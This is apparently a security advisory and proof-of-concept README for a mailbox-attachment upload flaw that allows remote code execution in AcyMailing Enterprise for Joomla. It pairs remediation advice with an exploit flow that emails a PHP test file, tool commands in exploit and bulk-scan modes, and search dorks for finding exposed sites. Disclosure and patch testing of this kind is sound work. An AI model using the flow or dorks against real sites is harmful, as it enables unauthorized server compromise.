CVE-2026-94132 — AcyMailing Enterprise Mailbox Attachment RCE (Joomla)

Overview

CVE-2026-94132 affects AcyMailing Enterprise for Joomla (com_acym, acymailing.com). Versions 1.0.0 through 11.0.5 mishandle POP3 mailbox actions: incoming MIME attachments are written to media/com_acym/upload/ without proper extension validation. An attacker who can send email to the monitored mailbox may place .php (or similar) under the web root and achieve remote code execution (CWE-434). CVSS 4.0 9.5 Critical (AT:P — monitored mailbox access required). Fixed in 11.1.0 (vendor guidance: move to IMAP or disable vulnerable POP3 attachment handling until patched). Assigner: Joomla CNA.

| | | |---|---| | Product | AcyMailing Enterprise for Joomla | | Component | com_acym | | Affected | 1.0.0 – 11.0.5 | | Fixed | 11.1.0 | | Write path | /media/com_acym/upload/ | | Prerequisite | Mail to AcyMailing POP3 monitored inbox |

Open source PoC: https://github.com/murrez/CVE-2026-94132

The bundled tool does not send email (authorized mailbox testing only). It detects AcyMailing/version, probes the upload directory, and verifies a shell URL after you deliver a test attachment in a lab.

Lab exploit flow

1. Email pocbit_94132.php (<?php echo 'POCBIT-94132-OK'; ?>) to the site’s AcyMailing-monitored mailbox.
2. Run --mode exploit --verify-url against https://target/media/com_acym/upload/pocbit_94132.php.

Bundled tool (Python 3)

pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads

Asset discovery

body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"

Impact

Compromise of the Joomla host via unauthenticated email delivery to a configured POP3 inbox—common on marketing/newsletter sites using AcyMailing Enterprise with mailbox import features.

Remediation

1. Upgrade AcyMailing Enterprise to 11.1.0 or newer.
2. Prefer IMAP or disable POP3 attachment ingestion until patched.
3. Restrict who can send mail to monitored inboxes; audit media/com_acym/upload/ for unexpected .php files.

Legal and ethical use

Mailbox delivery tests must use inboxes you own or have explicit permission to use. Do not send exploit attachments to third-party sites.

References

• NVD — CVE-2026-94132
• GitHub PoC — murrez/CVE-2026-94132